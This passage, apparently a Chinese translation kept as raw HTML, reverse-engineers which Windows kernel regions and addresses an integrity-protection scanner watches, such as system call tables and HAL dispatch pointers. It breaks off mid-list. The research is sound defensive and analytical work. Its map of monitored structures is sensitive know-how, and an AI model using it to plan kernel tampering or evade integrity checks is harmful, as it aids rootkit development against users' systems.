data-aistatus="1" data-imgfileid="100013100" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.612037037037037" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ad8ee23b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiamyib4DUxu1l9qkkVeNMXuCw6CNaSgiau9qfibLIdYg4azbydibDUatdesyxZibBhibjvKdpoC3icImm8zPz4n8dicqoCquETONLMRq9M%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">其中包含的一些函数有：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ExAllocatePoolWithTag</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ExAllocatePool3</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ExpPoolTypeToPoolFlags</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ExpPoolFlagsToPoolType</span></code></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ExFreePoolWithTag</span></code></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">等等..</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Range 3</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这一区域包含 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TRACESUP</span></code><span leaf="">节，更多可执行代码。该区域保护 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x2000</span></code><span leaf="">字节。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013101" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.4398148148148148" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0874a4b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSia6INic8kJHjLHFkibpRrkT0aHk9MRnplMgtHMxmR4X4nzZTuLC5TmvpdkuiaRJvzP5BSPdwIXg9njybPWSYVlMmtYdPauj3jpMF4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">包含的函数如：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KiTpCompletion</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KiTpWriteRegisterValue</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KiTpSignExtendOperandValue</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KiTpSetImmediateOperandSize</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RtlpIcSetFlagsZeroSignParity</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KiTpSetFlagsSub</span></code></li><li style="margin: 15px 0px 0px;"><p><span leaf="">等等</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这些不是我熟悉的函数。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Range 4</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">更多可执行代码，这次起始位于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KVASCODE</span></code><span leaf="">节并延伸到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INITKDBG</span></code><span leaf="">节，不是我所熟悉的内容。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013102" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.6222222222222222" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c01c6ba4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjkQPWial4P8ydqAc2vhp3vhQXgc5WAnQ5BeGb2m9Je3oia1xP3YU786tB0Y5nic7PCUMR6GIk9z1wMldkic3713ibMUH4ZmB9MfLU8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">包含的函数如：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KiDivideErrorFaultShadow</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RtlMinimalBarrier</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RtlInitMinimalBarrier</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KiTimerDispatch</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KeGuardCheckICall</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KeGuardDispatchICall</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KiMceLinkage</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KiMceThunk</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FsRtlUninitializeSmallMcb</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RtlLookupFunctionEntryEx</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KiAccessPage</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KiErrata704Present</span></code></li><li style="margin: 15px 0px 0px;"><p><span leaf="">等等等等</span></p></li></ul><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">扫描式保护总结</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">对于这些单页保护范围，可以合理地得出结论：它保护的是早期镜像区域和可执行代码，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.pdata</span></code><span leaf="">用于防止攻击者修改 unwind 信息，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.rdata</span></code><span leaf="">用于保护内核只读值的完整性，等等。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">特定发现</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在这些大型连续保护条目之上，我们还有若干个被特别监控的地址（从研究角度来看更有趣）。我将先列出全部地址的清单，然后探索一些引起我注意的有趣条目。我尽量按相关功能进行了分组。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">系统调用完整性</span></h3><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KeServiceDescriptorTable</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KeServiceDescriptorTable+0x20</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KeServiceDescriptorTableFilter</span></code></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KeServiceDescriptorTableShadow</span></code></li></ul><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">系统调用挂钩</span></h3><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PsAltSystemCallHandlers</span></code><p><span leaf="">（咳咳）</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HalDispatchTable+0x8</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PspPicoProviderRoutines</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HalPerformEndOfInterruptAtController</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HalpProfileInterface</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HalpProfileFeatures</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EtwpGetHostPerfCounter+7</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">MmUserProbeAddress</span></code></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">MmBadPointer</span></code></li></ul><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">杂项</span></h3><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">InitSafeBootMode</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RtlpUnwindHistoryTable</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PsInvertedFunctionTable+0x10</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">xref to global in MmQueryApiSetSchema</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KiDebugTraps</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 